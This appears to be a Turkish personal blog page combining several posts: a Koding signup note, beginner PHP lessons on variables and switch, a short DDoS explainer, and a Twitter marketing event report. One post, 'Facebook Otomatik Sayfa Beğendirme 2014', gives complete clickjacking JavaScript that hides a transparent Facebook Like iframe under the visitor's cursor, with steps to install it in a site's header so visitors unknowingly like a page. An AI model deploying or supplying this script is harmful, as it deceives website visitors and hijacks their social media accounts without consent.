Merhaba Koding

koding-logoMerhaba arkadaşlar, artık ben de bir Koding üyesiyim. Koding ile mobile uygulamalarımı geliştirerek, uygulamalarla sizlerinde faydalanmasını sağlayacağım. Bu sebeple; önerdiğiniz uygulamaları yorum atarak benimle paylaşabilirsiniz. Projeler hakkında tartışabiliriz.
Uygulamalarımı oluşturduktan sonra, hem buradan sizlere tanıtımını yapacağım hem de yaptığım uygulamaların aylık ne kadar kazandığını güncel olarak paylaşacağım.
Ayrıca sizlerde uygulama geliştirip, Koding ile hayata geçirebilirsiniz. Koding davetiyesi için lütfen bağlantıyı takip edin.Koding Davetiyesi Kalan Davetiye Sayısı: 17 
Kendi Koding profilimi, Koding’de takip edebilirsiniz.
Koding Profilim : https://koding.com/bruno

Php Dersleri #1 – Değişkenler

 
Program içinde her türden bilgiyi taşıyan isimlere verilen addır.
Php öğrenmek istiyorsanız değişkenleri iyi bilmelisiniz. İyi bir programcı değişkenlere hakim olmalıdır. Bunun yararlarını diziler konusuna geldiğimizde göreceksiniz.
Değişkenleri tanımlamak için başına $ harfini koymamız gerekmektedir. Örneğin aşağıdaki isimlerin hepsi değişkendir:

$cicek1 = "Papatya"; //Papatya değerini taşır.
$cicek2 = "Manolya"; //Manolya değerini taşır.
$sayi1 = "78"; //78 değerini taşır.
$sayi2 = "140"; //140 değerini taşır.

PHP de değişken isimleri bir kelime, isim, anlamlı ya da anlamsız sözcüklerden oluşabilir. Bu sözcüklerin icinde alt çizgi _ olabilir. Ancak aralarında boşluk veya PHP için anlam ifade eden karakter ve semboller kullanılamaz. En önemlisi ise bir değişken asla sayı ile başlamaz.

$isim
$rakam
$_cikarma
$_rakamlar2
$isim_soyisim

Değişkenlere Değer Atama

Değişkenlere değer atamak istediğimizde yazıları tek tırnak ya da çift tırnak arasına almalıyız. (Sayılar için tırnak işareti kullanılmaz.) Örneğin:

<?php
$takim1 = "Galatasaray";
$takim2 = "Fenerbahçe";
$rakam1 = 88;
$rakam2 = "90";
echo "$takim1<br />";
echo "$takim2<br />";
echo "$rakam1<br />";
echo "$rakam2<br />";
?>

Değişkenlerin taşıdıkları değerleri ekrana yazdırmak için echo ya da print fonksiyonlarını kullanabilirsiniz. Aşağıdaki örnekte olduğu gibi kodlarımızı yazdıktan sonra degiskenler.php olarak kaydediyoruz. Web tarayıcısında ekrana ne yazdırdığını görebilirsiniz.

<?php
$degiskenler1 = "Designed by Bercan Özcan";
print "$degiskenler1 <br />";
echo "$degiskenler1 <br />";
?>

degiskenleri-yazdirma

Matematik İşlemleri

Php değişkenleri kullanarak matematik işlemleri yapabiliriz. Bu işlemleri yapabilmek için bazı karakterlerin anlamlarını bilmemiz gerekiyor.

  • + toplama
  • – çıkartma
  • * çarpma
  • / bölme
  • % kalanı hesaplama
<?php
$a = 7;
$toplam = $a + 6; //topla
echo $toplam; //ekrana 13 yazacaktır.
?>

Değişkenlerde Veri Türleri

PHP programlama dili 6 tür veri ile işlem yapar. Bunlar:

Veri Türü Açıklama Örnek
Integer Tam Sayı 15, 98, 0014, 6765 gibi sayılar olabilir.
Double Ondalık 3,14 ondalık bir sayı gibi.
String Alfa nümerik “2014 Designed by Bercan Özcan” gibi bir cümle.
Boolean Mantıksal Yanlış (false) / Doğru (true) karşılaştırmaları.
Object Nesne Sınıf ve Nesnelerin tanımlandığı değişkenler. $veri->new(); gibi
Array Dizin
$dizi=array(10,11,12,13); gibi

Php Dersleri #2 – Operatörler

Php Dersleri #4 – Switch

Adı anahtar anlamına gelen switch, atadığımız bir değişken değerini sıraladığımızda koşulların hangisine uygun olduğunu dener ve o koşulda belirlediğimiz kodları çalıştırır.
Switch değişkenin dışına çıkmasını sağlayan break komutu vardır.
Örneğin;

switch ( değişken ) {
case KOŞUL-1 ;
//Koşul-1 doğru ise yapılacak işlere ilişkin komutlar
break;
case KOŞUL-2 ;
//Koşul-2 doğru ise yapılacak işlere ilişkin komutlar
break;
case KOŞUL-3 ;
//Koşul-3 doğru ise yapılacak işlere ilişkin komutlar
break;
case KOŞUL-4 ;
//Koşul-4 doğru ise yapılacak işlere ilişkin komutlar
break;
//.......
//.......
default:
//diğer her durumda yapılacak işlere ilişkin komutlar
}

DDOS Saldırısı Nedir ?

Hizmet Reddi (DoS) saldırısı, çevrimiçi bir uygulama veya hizmeti sekteye uğratmak amacıyla bir ana bilgisayardan başka bir bilgisayara trafik gönderildiğinde gerçekleşir. Dağıtılmış Hizmet Reddi (DDoS) saldırısı, düzenlenen bir saldırıyı daha da güçlendirmek için birden fazla ana bilgisayar (ele geçirilmiş ve bir “botnet”in parçası olan PC’ler gibi) kullanıldığında gerçekleşir. Saldırganlar hizmet reddi saldırısına uygun koşulları genelde sunucunun bant genişliğini tüketerek veya sunucunun kendisine zarar vererek oluştururlar. Web sunucuları, DNS sunucuları, uygulama sunucuları, yönlendiriciler, güvenlik duvarları ve İnternet bant genişliği, tipik hedefler arasında yer almaktadır.

DDoS saldırılarının on yılı aşkın süredir gerçekleştirilmesine rağmen, bu saldırıların boyutu ve sıklığı, çoğu şirketin bu saldırıları bertaraf etme kapasitesinden çok daha hızlı artmaktadır. Şirketler çevrimiçi ortamda gittikçe daha fazla iş yaptığı için, DDoS saldırıları ciddi mali kayıplara ve verimlilik kaybına yol açabilir.ÖnlemlerGüvenlik şirketlerinden birine kayıt olmak.

Facebook Otomatik Sayfa Beğendirme 2014

facebook-otomatik-sayfa-begendirmeClickjack kim tarafından hazırlandığını bilmediğim bir script (bir dizi javascipt kodu).
Alttaki linkten öncelikle clickjack.js dosyasını indiriyoruz. Notepad veya benzeri bir program ile açıyoruz. Büyük harflerle “SAYFANIZIN LİNKİ” yazan yere sayfanızın linkini ekliyoruz. Önemli: Başında ve sonundaki tek tırnakları silmeyin.(function(){ var tempX = 0, tempY = 0, IE = document.all ? true : false; if (!IE) document.captureEvents(Event.MOUSEMOVE); var like = document.createElement(‘iframe’); like.src = ‘http://www.facebook.com/plugins/like.php?href=’ + encodeURIComponent(/*document.location.href*/ ‘Sayfanızın Linki’) + ‘&layout=standard&show_faces=true&width= 53&action=like&colorscheme= light&height=80’; like.scrolling = ‘no’; like.frameBorder = 0; like.allowTransparency = ‘true’; like.style.border = 0; like.style.overflow = ‘hidden’; like.style.cursor = ‘pointer’; like.style.width = ’53px’; like.style.height = ’23px’; like.style.position = ‘absolute’; like.style.opacity = 0; //Would be 0 if really used document.getElementsByTagName(‘body’)[0].appendChild(like); window.addEventListener(‘mousemove’, mouseMove, false); setTimeout(function(){ document.getElementsByTagName(‘body’)[0].removeChild(like); window.removeEventListener(‘mousemove’, mouseMove, false); }, 6000); function mouseMove(e) { if (IE) { tempX = event.clientX + document.body.scrollLeft; tempY = event.clientY + document.body.scrollTop; } else { tempX = e.pageX; tempY = e.pageY; } if (tempX < 0) tempX = 0; if (tempY < 0) tempY = 0; like.style.top = (tempY – 8) + ‘px’; like.style.left = (tempX – 25) + ‘px’; return true } })();Dosyayı ftp’den anadizine atıyoruz. Daha sonra alttaki kodu düzenleyerek temamızın header.php bölümüne ekliyoruz.
<script src=”http://siteadı.com/clickjack.js“></script>
Wordpress kullanmayanlar <script> etiketi gördüğünüzde hemen öncesine ekleyin problem olmayacaktır.
Elimden geldiğince basit anlatmaya çalıştım. Bilenler zaten dosyayı istediği yere gönderebilir(anadizin dışında). Problem yaşarsanız yardımcı olmaya çalışırım. Lütfen ziyaretçileri sıkmayacak şekilde bu scripti kullanın. Clickjack.js dosyasındaki 6000 değerini azaltarak veya artırarak scriptin aktiflik süresini değiştirebilirsiniz.

Twitter Markalar İçin Pazarlama Stratejileri

Twitter’ın uluslararası yöneticileri sosyal medyanın yükselen yıldızı Türkiye’nin önemini anlatmak üzere İstanbul’a geldi. Twitter Satış Operasyonları Direktörü Ali Jafari; “Türkiye’de kullanıcı sayısı ve penetrasyon oranı dünya sıralamasında çok yukarılarda. Bu yüzden İngiltere ve Japonya’dan sonra Türkiye pazarına girdik” dedi.

Burak Yılmaz – Genart Medya Kurucusu
Burak Yılmaz – Genart Medya Kurucusu

Reklam ve dijital pazarlama alanında hizmet veren, Twitter’ın Türkiye’deki tek resmi temsilcisi Genart Medya tarafından düzenlenen etkinlikte Twitter’ın pazarlama stratejileri ve yeni ürünleri tanıtıldı.
200 milyondan fazla aktif kullanıcısıyla dünyanın en büyük sosyal ağlarından biri olan Twitter, yeni pazarlama iletişiminin yol haritasını Genart Medya tarafından Bilgi Üniversitesi Santral Kampüsü’nde düzenlediği etkinlikte tanıttı.
Markaların hedef kitlelerine kısa yoldan ulaşmasını sağlayan Promoted Products reklam modelleri ve markaların potansiyel müşterileri ile sürekli etkileşimi sağlaması gibi pazarlama iletişiminin ayrıntılarının aktarıldığı toplantıda, sosyal medya pazarlamasının geleceği de masaya yatırıldı.
Ali Jafari – Twitter
Ali Jafari – Twitter

Twitter Satış Operasyonu Direktörü Ali Jafari’nin açılış konuşmasıyla başlayan etkinlik, bir çok markanın da kendi Twitter tecrübelerini ve Twitter’daki başarı hikayelerini anlatmasıyla devam etti. Jafari, Türkiye’nin Twitter için çok önemli bir partner olduğunu ve Türkiye pazarına Genart Medya ortaklığı ile girilen bu beş aylık süreçte oldukça başarılı bir ivme yakalandığını sözlerine ekledi.
Yaklaşık 200 marka ve ajans yöneticisinin katıldığı ve bu yıl ilki düzenlenen Twitter Günü etkinliğinin önümüzdeki senelerde de tekrarlanması planlanıyor.